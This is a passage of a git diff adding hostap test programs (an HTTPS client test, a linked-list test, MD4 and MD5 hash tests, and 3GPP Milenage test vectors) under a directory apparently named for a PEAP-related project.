wpa_printf(MSG_ERROR, "send: %s", strerror(errno)); + goto done; + } + wpabuf_free(out); + out = NULL; + + wpa_printf(MSG_INFO, "Reading HTTP response"); + for (;;) { + int need_more_data; + in = https_recv(s); + if (in == NULL) + goto done; + out = tls_connection_decrypt2(tls, conn, in, &need_more_data); + if (need_more_data) + wpa_printf(MSG_DEBUG, "HTTP: Need more data"); + wpabuf_free(in); + in = NULL; + if (out == NULL) + goto done; + wpa_hexdump_ascii(MSG_INFO, "Response", wpabuf_head(out), + wpabuf_len(out)); + wpabuf_free(out); + out = NULL; + } + + res = 0; +done: + wpabuf_free(out); + wpabuf_free(in); + wpabuf_free(appl); + tls_connection_deinit(tls, conn); + tls_deinit(tls); + + return res; +} + + +int main(int argc, char *argv[]) +{ + struct addrinfo hints, *result, *rp; + int res, s; + + wpa_debug_level = 0; + wpa_debug_show_keys = 1; + + if (argc < 4) { + wpa_printf(MSG_INFO, "usage: test-https server port path"); + return -1; + } + + os_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + res = getaddrinfo(argv[1], argv[2], &hints, &result); + if (res) { + wpa_printf(MSG_ERROR, "getaddrinfo: %s", gai_strerror(res)); + return -1; + } + + for (rp = result; rp; rp = rp->ai_next) { + s = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + if (s < 0) + continue; + if (connect(s, rp->ai_addr, rp->ai_addrlen) == 0) + break; + close(s); + } + freeaddrinfo(result); + + if (rp == NULL) { + wpa_printf(MSG_ERROR, "Could not connect"); + return -1; + } + + https_client(s, argv[3]); + close(s); + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-list.c b/peapwn/mods/hostap/tests/test-list.c new file mode 100644 index 000000000..01bcbf640 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-list.c @@ -0,0 +1,72 @@ +/* + * Doubly-linked list - test program + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include "utils/os.h" +#include "utils/list.h" + +struct test { + struct dl_list list; + int value; +}; + +static void dump_list(struct dl_list *head) +{ + struct test *t; + printf("dump:"); + dl_list_for_each(t, head, struct test, list) + printf(" %d", t->value); + printf(" (len=%d%s)\n", dl_list_len(head), + dl_list_empty(head) ? " empty" : ""); +} + +int main(int argc, char *argv[]) +{ + struct dl_list head; + struct test *t, *tmp; + int i; + + dl_list_init(&head); + dump_list(&head); + + for (i = 0; i < 5; i++) { + t = os_zalloc(sizeof(*t)); + if (t == NULL) + return -1; + t->value = i; + dl_list_add(&head, &t->list); + dump_list(&head); + } + + for (i = 10; i > 5; i--) { + t = os_zalloc(sizeof(*t)); + if (t == NULL) + return -1; + t->value = i; + dl_list_add_tail(&head, &t->list); + dump_list(&head); + } + + i = 0; + dl_list_for_each(t, &head, struct test, list) + if (++i == 5) + break; + printf("move: %d\n", t->value); + dl_list_del(&t->list); + dl_list_add(&head, &t->list); + dump_list(&head); + + dl_list_for_each_safe(t, tmp, &head, struct test, list) { + printf("delete: %d\n", t->value); + dl_list_del(&t->list); + os_free(t); + dump_list(&head); + } + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-md4.c b/peapwn/mods/hostap/tests/test-md4.c new file mode 100644 index 000000000..e3e63edf1 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-md4.c @@ -0,0 +1,93 @@ +/* + * Test program for MD4 (test vectors from RFC 1320) + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" + +int main(int argc, char *argv[]) +{ + struct { + char *data; + char *hash; + } tests[] = { + { + "", + "\x31\xd6\xcf\xe0\xd1\x6a\xe9\x31" + "\xb7\x3c\x59\xd7\xe0\xc0\x89\xc0" + }, + { + "a", + "\xbd\xe5\x2c\xb3\x1d\xe3\x3e\x46" + "\x24\x5e\x05\xfb\xdb\xd6\xfb\x24" + }, + { + "abc", + "\xa4\x48\x01\x7a\xaf\x21\xd8\x52" + "\x5f\xc1\x0a\xe8\x7a\xa6\x72\x9d" + }, + { + "message digest", + "\xd9\x13\x0a\x81\x64\x54\x9f\xe8" + "\x18\x87\x48\x06\xe1\xc7\x01\x4b" + }, + { + "abcdefghijklmnopqrstuvwxyz", + "\xd7\x9e\x1c\x30\x8a\xa5\xbb\xcd" + "\xee\xa8\xed\x63\xdf\x41\x2d\xa9" + }, + { + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + "0123456789", + "\x04\x3f\x85\x82\xf2\x41\xdb\x35" + "\x1c\xe6\x27\xe1\x53\xe7\xf0\xe4" + }, + { + "12345678901234567890123456789012345678901234567890" + "123456789012345678901234567890", + "\xe3\x3b\x4d\xdc\x9c\x38\xf2\x19" + "\x9c\x3e\x7b\x16\x4f\xcc\x05\x36" + } + }; + unsigned int i; + u8 hash[16]; + const u8 *addr[2]; + size_t len[2]; + int errors = 0; + + for (i = 0; i < ARRAY_SIZE(tests); i++) { + printf("MD4 test case %d:", i); + + addr[0] = (u8 *) tests[i].data; + len[0] = strlen(tests[i].data); + md4_vector(1, addr, len, hash); + if (memcmp(hash, tests[i].hash, 16) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + + if (len[0]) { + addr[0] = (u8 *) tests[i].data; + len[0] = strlen(tests[i].data); + addr[1] = (u8 *) tests[i].data + 1; + len[1] = strlen(tests[i].data) - 1; + md4_vector(1, addr, len, hash); + if (memcmp(hash, tests[i].hash, 16) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + } + + printf("\n"); + } + + return errors; +} diff --git a/peapwn/mods/hostap/tests/test-md5.c b/peapwn/mods/hostap/tests/test-md5.c new file mode 100644 index 000000000..b5246a409 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-md5.c @@ -0,0 +1,93 @@ +/* + * Test program for MD5 (test vectors from RFC 1321) + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/crypto.h" + +int main(int argc, char *argv[]) +{ + struct { + char *data; + char *hash; + } tests[] = { + { + "", + "\xd4\x1d\x8c\xd9\x8f\x00\xb2\x04" + "\xe9\x80\x09\x98\xec\xf8\x42\x7e" + }, + { + "a", + "\x0c\xc1\x75\xb9\xc0\xf1\xb6\xa8" + "\x31\xc3\x99\xe2\x69\x77\x26\x61" + }, + { + "abc", + "\x90\x01\x50\x98\x3c\xd2\x4f\xb0" + "\xd6\x96\x3f\x7d\x28\xe1\x7f\x72" + }, + { + "message digest", + "\xf9\x6b\x69\x7d\x7c\xb7\x93\x8d" + "\x52\x5a\x2f\x31\xaa\xf1\x61\xd0" + }, + { + "abcdefghijklmnopqrstuvwxyz", + "\xc3\xfc\xd3\xd7\x61\x92\xe4\x00" + "\x7d\xfb\x49\x6c\xca\x67\xe1\x3b" + }, + { + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + "0123456789", + "\xd1\x74\xab\x98\xd2\x77\xd9\xf5" + "\xa5\x61\x1c\x2c\x9f\x41\x9d\x9f" + }, + { + "12345678901234567890123456789012345678901234567890" + "123456789012345678901234567890", + "\x57\xed\xf4\xa2\x2b\xe3\xc9\x55" + "\xac\x49\xda\x2e\x21\x07\xb6\x7a" + } + }; + unsigned int i; + u8 hash[16]; + const u8 *addr[2]; + size_t len[2]; + int errors = 0; + + for (i = 0; i < ARRAY_SIZE(tests); i++) { + printf("MD5 test case %d:", i); + + addr[0] = (u8 *) tests[i].data; + len[0] = strlen(tests[i].data); + md5_vector(1, addr, len, hash); + if (memcmp(hash, tests[i].hash, 16) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + + if (len[0]) { + addr[0] = (u8 *) tests[i].data; + len[0] = strlen(tests[i].data); + addr[1] = (u8 *) tests[i].data + 1; + len[1] = strlen(tests[i].data) - 1; + md5_vector(1, addr, len, hash); + if (memcmp(hash, tests[i].hash, 16) != 0) { + printf(" FAIL"); + errors++; + } else + printf(" OK"); + } + + printf("\n"); + } + + return errors; +} diff --git a/peapwn/mods/hostap/tests/test-milenage.c b/peapwn/mods/hostap/tests/test-milenage.c new file mode 100644 index 000000000..9d2f7f0cc --- /dev/null +++ b/peapwn/mods/hostap/tests/test-milenage.c @@ -0,0 +1,817 @@ +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/milenage.h" + + +extern int wpa_debug_level; + + +/** + * milenage_opc - Determine OPc from OP and K + * @op: OP = 128-bit operator variant algorithm configuration field + * @k: K = 128-bit subscriber key + * @opc: Buffer for OPc = 128-bit value derived from OP and K + */ +static int milenage_opc(const u8 *op, const u8 *k, u8 *opc) +{ + int i; + /* OP_C = OP XOR E_K(OP) */ + if (aes_128_encrypt_block(k, op, opc) < 0) + return -1; + for (i = 0; i < 16; i++) + opc[i] ^= op[i]; + return 0; +} + + +struct gsm_milenage_test_set { + u8 ki[16]; + u8 rand[16]; + u8 opc[16]; + u8 sres1[4]; + u8 sres2[4]; + u8 kc[8]; +}; + +static const struct gsm_milenage_test_set gsm_test_sets[] = +{ + { + /* 3GPP TS 55.205 v6.0.0 - Test Set 1 */ + { 0x46, 0x5b, 0x5c, 0xe8, 0xb1, 0x99, 0xb4, 0x9f, + 0xaa, 0x5f, 0x0a, 0x2e, 0xe2, 0x38, 0xa6, 0xbc }, + { 0x23, 0x55, 0x3c, 0xbe, 0x96, 0x37, 0xa8, 0x9d, + 0x21, 0x8a, 0xe6, 0x4d, 0xae, 0x47, 0xbf, 0x35 }, + { 0xcd, 0x63, 0xcb, 0x71, 0x95, 0x4a, 0x9f, 0x4e, + 0x48, 0xa5, 0x99, 0x4e, 0x37, 0xa0, 0x2b, 0xaf }, + { 0x46, 0xf8, 0x41, 0x6a }, + { 0xa5, 0x42, 0x11, 0xd5 }, + { 0xea, 0xe4, 0xbe, 0x82, 0x3a, 0xf9, 0xa0, 0x8b } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 2 */ + { 0xfe, 0xc8, 0x6b, 0xa6, 0xeb, 0x70, 0x7e, 0xd0, + 0x89, 0x05, 0x75, 0x7b, 0x1b, 0xb4, 0x4b, 0x8f }, + { 0x9f, 0x7c, 0x8d, 0x02, 0x1a, 0xcc, 0xf4, 0xdb, + 0x21, 0x3c, 0xcf, 0xf0, 0xc7, 0xf7, 0x1a, 0x6a }, + { 0x10, 0x06, 0x02, 0x0f, 0x0a, 0x47, 0x8b, 0xf6, + 0xb6, 0x99, 0xf1, 0x5c, 0x06, 0x2e, 0x42, 0xb3 }, + { 0x8c, 0x30, 0x8a, 0x5e }, + { 0x80, 0x11, 0xc4, 0x8c }, + { 0xaa, 0x01, 0x73, 0x9b, 0x8c, 0xaa, 0x97, 0x6d } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 3 */ + { 0x9e, 0x59, 0x44, 0xae, 0xa9, 0x4b, 0x81, 0x16, + 0x5c, 0x82, 0xfb, 0xf9, 0xf3, 0x2d, 0xb7, 0x51 }, + { 0xce, 0x83, 0xdb, 0xc5, 0x4a, 0xc0, 0x27, 0x4a, + 0x15, 0x7c, 0x17, 0xf8, 0x0d, 0x01, 0x7b, 0xd6 }, + { 0xa6, 0x4a, 0x50, 0x7a, 0xe1, 0xa2, 0xa9, 0x8b, + 0xb8, 0x8e, 0xb4, 0x21, 0x01, 0x35, 0xdc, 0x87 }, + { 0xcf, 0xbc, 0xe3, 0xfe }, + { 0xf3, 0x65, 0xcd, 0x68 }, + { 0x9a, 0x8e, 0xc9, 0x5f, 0x40, 0x8c, 0xc5, 0x07 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 4 */ + { 0x4a, 0xb1, 0xde, 0xb0, 0x5c, 0xa6, 0xce, 0xb0, + 0x51, 0xfc, 0x98, 0xe7, 0x7d, 0x02, 0x6a, 0x84 }, + { 0x74, 0xb0, 0xcd, 0x60, 0x31, 0xa1, 0xc8, 0x33, + 0x9b, 0x2b, 0x6c, 0xe2, 0xb8, 0xc4, 0xa1, 0x86 }, + { 0xdc, 0xf0, 0x7c, 0xbd, 0x51, 0x85, 0x52, 0x90, + 0xb9, 0x2a, 0x07, 0xa9, 0x89, 0x1e, 0x52, 0x3e }, + { 0x96, 0x55, 0xe2, 0x65 }, + { 0x58, 0x60, 0xfc, 0x1b }, + { 0xcd, 0xc1, 0xdc, 0x08, 0x41, 0xb8, 0x1a, 0x22 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 5 */ + { 0x6c, 0x38, 0xa1, 0x16, 0xac, 0x28, 0x0c, 0x45, + 0x4f, 0x59, 0x33, 0x2e, 0xe3, 0x5c, 0x8c, 0x4f }, + { 0xee, 0x64, 0x66, 0xbc, 0x96, 0x20, 0x2c, 0x5a, + 0x55, 0x7a, 0xbb, 0xef, 0xf8, 0xba, 0xbf, 0x63 }, + { 0x38, 0x03, 0xef, 0x53, 0x63, 0xb9, 0x47, 0xc6, + 0xaa, 0xa2, 0x25, 0xe5, 0x8f, 0xae, 0x39, 0x34 }, + { 0x13, 0x68, 0x8f, 0x17 }, + { 0x16, 0xc8, 0x23, 0x3f }, + { 0xdf, 0x75, 0xbc, 0x5e, 0xa8, 0x99, 0x87, 0x9f } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 6 */ + { 0x2d, 0x60, 0x9d, 0x4d, 0xb0, 0xac, 0x5b, 0xf0, + 0xd2, 0xc0, 0xde, 0x26, 0x70, 0x14, 0xde, 0x0d }, + { 0x19, 0x4a, 0xa7, 0x56, 0x01, 0x38, 0x96, 0xb7, + 0x4b, 0x4a, 0x2a, 0x3b, 0x0a, 0xf4, 0x53, 0x9e }, + { 0xc3, 0x5a, 0x0a, 0xb0, 0xbc, 0xbf, 0xc9, 0x25, + 0x2c, 0xaf, 0xf1, 0x5f, 0x24, 0xef, 0xbd, 0xe0 }, + { 0x55, 0x3d, 0x00, 0xb3 }, + { 0x8c, 0x25, 0xa1, 0x6c }, + { 0x84, 0xb4, 0x17, 0xae, 0x3a, 0xea, 0xb4, 0xf3 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 7 */ + { 0xa5, 0x30, 0xa7, 0xfe, 0x42, 0x8f, 0xad, 0x10, + 0x82, 0xc4, 0x5e, 0xdd, 0xfc, 0xe1, 0x38, 0x84 }, + { 0x3a, 0x4c, 0x2b, 0x32, 0x45, 0xc5, 0x0e, 0xb5, + 0xc7, 0x1d, 0x08, 0x63, 0x93, 0x95, 0x76, 0x4d }, + { 0x27, 0x95, 0x3e, 0x49, 0xbc, 0x8a, 0xf6, 0xdc, + 0xc6, 0xe7, 0x30, 0xeb, 0x80, 0x28, 0x6b, 0xe3 }, + { 0x59, 0xf1, 0xa4, 0x4a }, + { 0xa6, 0x32, 0x41, 0xe1 }, + { 0x3b, 0x4e, 0x24, 0x4c, 0xdc, 0x60, 0xce, 0x03 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 8 */ + { 0xd9, 0x15, 0x1c, 0xf0, 0x48, 0x96, 0xe2, 0x58, + 0x30, 0xbf, 0x2e, 0x08, 0x26, 0x7b, 0x83, 0x60 }, + { 0xf7, 0x61, 0xe5, 0xe9, 0x3d, 0x60, 0x3f, 0xeb, + 0x73, 0x0e, 0x27, 0x55, 0x6c, 0xb8, 0xa2, 0xca }, + { 0xc4, 0xc9, 0x3e, 0xff, 0xe8, 0xa0, 0x81, 0x38, + 0xc2, 0x03, 0xd4, 0xc2, 0x7c, 0xe4, 0xe3, 0xd9 }, + { 0x50, 0x58, 0x88, 0x61 }, + { 0x4a, 0x90, 0xb2, 0x17 }, + { 0x8d, 0x4e, 0xc0, 0x1d, 0xe5, 0x97, 0xac, 0xfe } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 9 */ + { 0xa0, 0xe2, 0x97, 0x1b, 0x68, 0x22, 0xe8, 0xd3, + 0x54, 0xa1, 0x8c, 0xc2, 0x35, 0x62, 0x4e, 0xcb }, + { 0x08, 0xef, 0xf8, 0x28, 0xb1, 0x3f, 0xdb, 0x56, + 0x27, 0x22, 0xc6, 0x5c, 0x7f, 0x30, 0xa9, 0xb2 }, + { 0x82, 0xa2, 0x6f, 0x22, 0xbb, 0xa9, 0xe9, 0x48, + 0x8f, 0x94, 0x9a, 0x10, 0xd9, 0x8e, 0x9c, 0xc4 }, + { 0xcd, 0xe6, 0xb0, 0x27 }, + { 0x4b, 0xc2, 0x21, 0x2d }, + { 0xd8, 0xde, 0xbc, 0x4f, 0xfb, 0xcd, 0x60, 0xaa } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 10 */ + { 0x0d, 0xa6, 0xf7, 0xba, 0x86, 0xd5, 0xea, 0xc8, + 0xa1, 0x9c, 0xf5, 0x63, 0xac, 0x58, 0x64, 0x2d }, + { 0x67, 0x9a, 0xc4, 0xdb, 0xac, 0xd7, 0xd2, 0x33, + 0xff, 0x9d, 0x68, 0x06, 0xf4, 0x14, 0x9c, 0xe3 }, + { 0x0d, 0xb1, 0x07, 0x1f, 0x87, 0x67, 0x56, 0x2c, + 0xa4, 0x3a, 0x0a, 0x64, 0xc4, 0x1e, 0x8d, 0x08 }, + { 0x02, 0xd1, 0x3a, 0xcd }, + { 0x6f, 0xc3, 0x0f, 0xee }, + { 0xf0, 0xea, 0xa5, 0x0a, 0x1e, 0xdc, 0xeb, 0xb7 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 11 */ + { 0x77, 0xb4, 0x58, 0x43, 0xc8, 0x8e, 0x58, 0xc1, + 0x0d, 0x20, 0x26, 0x84, 0x51, 0x5e, 0xd4, 0x30 }, + { 0x4c, 0x47, 0xeb, 0x30, 0x76, 0xdc, 0x55, 0xfe, + 0x51, 0x06, 0xcb, 0x20, 0x34, 0xb8, 0xcd, 0x78 }, + { 0xd4, 0x83, 0xaf, 0xae, 0x56, 0x24, 0x09, 0xa3, + 0x26, 0xb5, 0xbb, 0x0b, 0x20, 0xc4, 0xd7, 0x62 }, + { 0x44, 0x38, 0x9d, 0x01 }, + { 0xae, 0xfa, 0x35, 0x7b }, + { 0x82, 0xdb, 0xab, 0x7f, 0x83, 0xf0, 0x63, 0xda } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 12 */ + { 0x72, 0x9b, 0x17, 0x72, 0x92, 0x70, 0xdd, 0x87, + 0xcc, 0xdf, 0x1b, 0xfe, 0x29, 0xb4, 0xe9, 0xbb }, + { 0x31, 0x1c, 0x4c, 0x92, 0x97, 0x44, 0xd6, 0x75, + 0xb7, 0x20, 0xf3, 0xb7, 0xe9, 0xb1, 0xcb, 0xd0 }, + { 0x22, 0x8c, 0x2f, 0x2f, 0x06, 0xac, 0x32, 0x68, + 0xa9, 0xe6, 0x16, 0xee, 0x16, 0xdb, 0x4b, 0xa1 }, + { 0x03, 0xe0, 0xfd, 0x84 }, + { 0x98, 0xdb, 0xbd, 0x09 }, + { 0x3c, 0x66, 0xcb, 0x98, 0xca, 0xb2, 0xd3, 0x3d } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 13 */ + { 0xd3, 0x2d, 0xd2, 0x3e, 0x89, 0xdc, 0x66, 0x23, + 0x54, 0xca, 0x12, 0xeb, 0x79, 0xdd, 0x32, 0xfa }, + { 0xcf, 0x7d, 0x0a, 0xb1, 0xd9, 0x43, 0x06, 0x95, + 0x0b, 0xf1, 0x20, 0x18, 0xfb, 0xd4, 0x68, 0x87 }, + { 0xd2, 0x2a, 0x4b, 0x41, 0x80, 0xa5, 0x32, 0x57, + 0x08, 0xa5, 0xff, 0x70, 0xd9, 0xf6, 0x7e, 0xc7 }, + { 0xbe, 0x73, 0xb3, 0xdc }, + { 0xaf, 0x4a, 0x41, 0x1e }, + { 0x96, 0x12, 0xb5, 0xd8, 0x8a, 0x41, 0x30, 0xbb } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 14 */ + { 0xaf, 0x7c, 0x65, 0xe1, 0x92, 0x72, 0x21, 0xde, + 0x59, 0x11, 0x87, 0xa2, 0xc5, 0x98, 0x7a, 0x53 }, + { 0x1f, 0x0f, 0x85, 0x78, 0x46, 0x4f, 0xd5, 0x9b, + 0x64, 0xbe, 0xd2, 0xd0, 0x94, 0x36, 0xb5, 0x7a }, + { 0xa4, 0xcf, 0x5c, 0x81, 0x55, 0xc0, 0x8a, 0x7e, + 0xff, 0x41, 0x8e, 0x54, 0x43, 0xb9, 0x8e, 0x55 }, + { 0x8f, 0xe0, 0x19, 0xc7 }, + { 0x7b, 0xff, 0xa5, 0xc2 }, + { 0x75, 0xa1, 0x50, 0xdf, 0x3c, 0x6a, 0xed, 0x08 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 15 */ + { 0x5b, 0xd7, 0xec, 0xd3, 0xd3, 0x12, 0x7a, 0x41, + 0xd1, 0x25, 0x39, 0xbe, 0xd4, 0xe7, 0xcf, 0x71 }, + { 0x59, 0xb7, 0x5f, 0x14, 0x25, 0x1c, 0x75, 0x03, + 0x1d, 0x0b, 0xcb, 0xac, 0x1c, 0x2c, 0x04, 0xc7 }, + { 0x76, 0x08, 0x9d, 0x3c, 0x0f, 0xf3, 0xef, 0xdc, + 0x6e, 0x36, 0x72, 0x1d, 0x4f, 0xce, 0xb7, 0x47 }, + { 0x27, 0x20, 0x2b, 0x82 }, + { 0x7e, 0x3f, 0x44, 0xc7 }, + { 0xb7, 0xf9, 0x2e, 0x42, 0x6a, 0x36, 0xfe, 0xc5 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 16 */ + { 0x6c, 0xd1, 0xc6, 0xce, 0xb1, 0xe0, 0x1e, 0x14, + 0xf1, 0xb8, 0x23, 0x16, 0xa9, 0x0b, 0x7f, 0x3d }, + { 0xf6, 0x9b, 0x78, 0xf3, 0x00, 0xa0, 0x56, 0x8b, + 0xce, 0x9f, 0x0c, 0xb9, 0x3c, 0x4b, 0xe4, 0xc9 }, + { 0xa2, 0x19, 0xdc, 0x37, 0xf1, 0xdc, 0x7d, 0x66, + 0x73, 0x8b, 0x58, 0x43, 0xc7, 0x99, 0xf2, 0x06 }, + { 0xdd, 0xd7, 0xef, 0xe6 }, + { 0x70, 0xf6, 0xbd, 0xb9 }, + { 0x88, 0xd9, 0xde, 0x10, 0xa2, 0x20, 0x04, 0xc5 } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 17 */ + { 0xb7, 0x3a, 0x90, 0xcb, 0xcf, 0x3a, 0xfb, 0x62, + 0x2d, 0xba, 0x83, 0xc5, 0x8a, 0x84, 0x15, 0xdf }, + { 0xb1, 0x20, 0xf1, 0xc1, 0xa0, 0x10, 0x2a, 0x2f, + 0x50, 0x7d, 0xd5, 0x43, 0xde, 0x68, 0x28, 0x1f }, + { 0xdf, 0x0c, 0x67, 0x86, 0x8f, 0xa2, 0x5f, 0x74, + 0x8b, 0x70, 0x44, 0xc6, 0xe7, 0xc2, 0x45, 0xb8 }, + { 0x67, 0xe4, 0xff, 0x3f }, + { 0x47, 0x9d, 0xd2, 0x5c }, + { 0xa8, 0x19, 0xe5, 0x77, 0xa8, 0xd6, 0x17, 0x5b } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 18 */ + { 0x51, 0x22, 0x25, 0x02, 0x14, 0xc3, 0x3e, 0x72, + 0x3a, 0x5d, 0xd5, 0x23, 0xfc, 0x14, 0x5f, 0xc0 }, + { 0x81, 0xe9, 0x2b, 0x6c, 0x0e, 0xe0, 0xe1, 0x2e, + 0xbc, 0xeb, 0xa8, 0xd9, 0x2a, 0x99, 0xdf, 0xa5 }, + { 0x98, 0x1d, 0x46, 0x4c, 0x7c, 0x52, 0xeb, 0x6e, + 0x50, 0x36, 0x23, 0x49, 0x84, 0xad, 0x0b, 0xcf }, + { 0x8a, 0x3b, 0x8d, 0x17 }, + { 0x28, 0xd7, 0xb0, 0xf2 }, + { 0x9a, 0x8d, 0x0e, 0x88, 0x3f, 0xf0, 0x88, 0x7a } + }, { + /* 3GPP TS 55.205 v6.0.0 - Test Set 19 */ + { 0x90, 0xdc, 0xa4, 0xed, 0xa4, 0x5b, 0x53, 0xcf, + 0x0f, 0x12, 0xd7, 0xc9, 0xc3, 0xbc, 0x6a, 0x89 }, + { 0x9f, 0xdd, 0xc7, 0x20, 0x92, 0xc6, 0xad, 0x03, + 0x6b, 0x6e, 0x46, 0x47, 0x89, 0x31, 0x5b, 0x78 }, + { 0xcb, 0x9c, 0xcc, 0xc4, 0xb9, 0x25, 0x8e, 0x6d, + 0xca, 0x47, 0x60, 0x37, 0x9f, 0xb8, 0x25, 0x81 }, + { 0xdf, 0x58, 0x52, 0x2f }, + { 0xa9, 0x51, 0x00, 0xe2 }, + { 0xed, 0x29, 0xb2, 0xf1, 0xc2, 0x7f, 0x9f, 0x34 } + } +}; + +#define NUM_GSM_TESTS ARRAY_SIZE(gsm_test_sets) + + +struct milenage_test_set { + u8 k[16]; + u8 rand[16]; + u8 sqn[6]; + u8 amf[2]; + u8 op[16]; + u8 opc[16]; + u8 f1[8]; + u8 f1star[8]; + u8 f2[8]; + u8 f3[16]; + u8 f4[16]; + u8 f5[6]; + u8 f5star[6]; +}; + +static const struct milenage_test_set test_sets[] = +{ + { + /* 3GPP TS 35.208 v6.0.0 - 4.3.1 Test Set 1 */ + { 0x46, 0x5b, 0x5c, 0xe8, 0xb1, 0x99, 0xb4, 0x9f, + 0xaa, 0x5f, 0x0a, 0x2e, 0xe2, 0x38, 0xa6, 0xbc }, + { 0x23, 0x55, 0x3c, 0xbe, 0x96, 0x37, 0xa8, 0x9d, + 0x21, 0x8a, 0xe6, 0x4d, 0xae, 0x47, 0xbf, 0x35 }, + { 0xff, 0x9b, 0xb4, 0xd0, 0xb6, 0x07 }, + { 0xb9, 0xb9 }, + { 0xcd, 0xc2, 0x02, 0xd5, 0x12, 0x3e, 0x20, 0xf6, + 0x2b, 0x6d, 0x67, 0x6a, 0xc7, 0x2c, 0xb3, 0x18 }, + { 0xcd, 0x63, 0xcb, 0x71, 0x95, 0x4a, 0x9f, 0x4e, + 0x48, 0xa5, 0x99, 0x4e, 0x37, 0xa0, 0x2b, 0xaf }, + { 0x4a, 0x9f, 0xfa, 0xc3, 0x54, 0xdf, 0xaf, 0xb3 }, + { 0x01, 0xcf, 0xaf, 0x9e, 0xc4, 0xe8, 0x71, 0xe9 }, + { 0xa5, 0x42, 0x11, 0xd5, 0xe3, 0xba, 0x50, 0xbf }, + { 0xb4, 0x0b, 0xa9, 0xa3, 0xc5, 0x8b, 0x2a, 0x05, + 0xbb, 0xf0, 0xd9, 0x87, 0xb2, 0x1b, 0xf8, 0xcb }, + { 0xf7, 0x69, 0xbc, 0xd7, 0x51, 0x04, 0x46, 0x04, + 0x12, 0x76, 0x72, 0x71, 0x1c, 0x6d, 0x34, 0x41 }, + { 0xaa, 0x68, 0x9c, 0x64, 0x83, 0x70 }, + { 0x45, 0x1e, 0x8b, 0xec, 0xa4, 0x3b } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.2 Test Set 2 */ + { 0x46, 0x5b, 0x5c, 0xe8, 0xb1, 0x99, 0xb4, 0x9f, + 0xaa, 0x5f, 0x0a, 0x2e, 0xe2, 0x38, 0xa6, 0xbc }, + { 0x23, 0x55, 0x3c, 0xbe, 0x96, 0x37, 0xa8, 0x9d, + 0x21, 0x8a, 0xe6, 0x4d, 0xae, 0x47, 0xbf, 0x35 }, + { 0xff, 0x9b, 0xb4, 0xd0, 0xb6, 0x07 }, + { 0xb9, 0xb9 }, + { 0xcd, 0xc2, 0x02, 0xd5, 0x12, 0x3e, 0x20, 0xf6, + 0x2b, 0x6d, 0x67, 0x6a, 0xc7, 0x2c, 0xb3, 0x18 }, + { 0xcd, 0x63, 0xcb, 0x71, 0x95, 0x4a, 0x9f, 0x4e, + 0x48, 0xa5, 0x99, 0x4e, 0x37, 0xa0, 0x2b, 0xaf }, + { 0x4a, 0x9f, 0xfa, 0xc3, 0x54, 0xdf, 0xaf, 0xb3 }, + { 0x01, 0xcf, 0xaf, 0x9e, 0xc4, 0xe8, 0x71, 0xe9 }, + { 0xa5, 0x42, 0x11, 0xd5, 0xe3, 0xba, 0x50, 0xbf }, + { 0xb4, 0x0b, 0xa9, 0xa3, 0xc5, 0x8b, 0x2a, 0x05, + 0xbb, 0xf0, 0xd9, 0x87, 0xb2, 0x1b, 0xf8, 0xcb }, + { 0xf7, 0x69, 0xbc, 0xd7, 0x51, 0x04, 0x46, 0x04, + 0x12, 0x76, 0x72, 0x71, 0x1c, 0x6d, 0x34, 0x41 }, + { 0xaa, 0x68, 0x9c, 0x64, 0x83, 0x70 }, + { 0x45, 0x1e, 0x8b, 0xec, 0xa4, 0x3b } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.3 Test Set 3 */ + { 0xfe, 0xc8, 0x6b, 0xa6, 0xeb, 0x70, 0x7e, 0xd0, + 0x89, 0x05, 0x75, 0x7b, 0x1b, 0xb4, 0x4b, 0x8f }, + { 0x9f, 0x7c, 0x8d, 0x02, 0x1a, 0xcc, 0xf4, 0xdb, + 0x21, 0x3c, 0xcf, 0xf0, 0xc7, 0xf7, 0x1a, 0x6a }, + { 0x9d, 0x02, 0x77, 0x59, 0x5f, 0xfc }, + { 0x72, 0x5c }, + { 0xdb, 0xc5, 0x9a, 0xdc, 0xb6, 0xf9, 0xa0, 0xef, + 0x73, 0x54, 0x77, 0xb7, 0xfa, 0xdf, 0x83, 0x74 }, + { 0x10, 0x06, 0x02, 